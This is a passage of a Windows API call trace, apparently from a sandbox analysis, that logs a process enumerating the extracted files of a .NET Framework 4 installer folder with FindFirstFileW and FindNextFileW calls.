ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10ceb0 [0046.854] FindNextFileW (in: hFindFile=0x10ceb0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.854] FindNextFileW (in: hFindFile=0x10ceb0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0046.854] FindNextFileW (in: hFindFile=0x10ceb0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0046.854] FindNextFileW (in: hFindFile=0x10ceb0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0046.854] FindNextFileW (in: hFindFile=0x10ceb0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0046.854] FindClose (in: hFindFile=0x10ceb0 | out: hFindFile=0x10ceb0) returned 1 [0046.854] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0046.855] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Client", cAlternateFileName="")) returned 1 [0046.855] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10cbf0 [0046.869] FindNextFileW (in: hFindFile=0x10cbf0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.869] FindNextFileW (in: hFindFile=0x10cbf0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0046.869] FindNextFileW (in: hFindFile=0x10cbf0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0046.869] FindNextFileW (in: hFindFile=0x10cbf0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0046.869] FindClose (in: hFindFile=0x10cbf0 | out: hFindFile=0x10cbf0) returned 1 [0046.869] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0046.870] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0046.870] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0046.870] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Extended", cAlternateFileName="")) returned 1 [0046.870] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10d0f0 [0046.870] FindNextFileW (in: hFindFile=0x10d0f0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.870] FindNextFileW (in: hFindFile=0x10d0f0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0046.870] FindNextFileW (in: hFindFile=0x10d0f0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0046.871] FindNextFileW (in: hFindFile=0x10d0f0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0046.871] FindClose (in: hFindFile=0x10d0f0 | out: hFindFile=0x10d0f0) returned 1 [0046.871] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0046.871] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Graphics", cAlternateFileName="")) returned 1 [0046.871] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10cab0 [0046.873] FindNextFileW (in: hFindFile=0x10cab0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.873] FindNextFileW (in: hFindFile=0x10cab0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0046.873] FindNextFileW (in: hFindFile=0x10cab0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0046.873] FindNextFileW (in: hFindFile=0x10cab0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0046.874] FindNextFileW (in: hFindFile=0x10cab0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0046.874] FindNextFileW (in: hFindFile=0x10cab0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0046.874] FindNextFileW (in: hFindFile=0x10cab0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0046.874] FindNextFileW (in: hFindFile=0x10cab0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0046.874] FindNextFileW (in: hFindFile=0x10cab0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0046.874] FindNextFileW (in: hFindFile=0x10cab0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0046.874] FindNextFileW (in: hFindFile=0x10cab0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0046.874] FindNextFileW (in: hFindFile=0x10cab0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0046.874] FindNextFileW (in: hFindFile=0x10cab0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0046.875] FindNextFileW (in: hFindFile=0x10cab0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0046.875] FindNextFileW (in: hFindFile=0x10cab0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0046.875] FindNextFileW (in: hFindFile=0x10cab0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0046.875] FindNextFileW (in: hFindFile=0x10cab0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0 [0046.875] FindClose (in: hFindFile=0x10cab0 | out: hFindFile=0x10cab0) returned 1 [0046.876] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0046.876] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0046.876] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0046.877] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0046.877] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0046.877] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1 [0046.877] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0046.877] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, 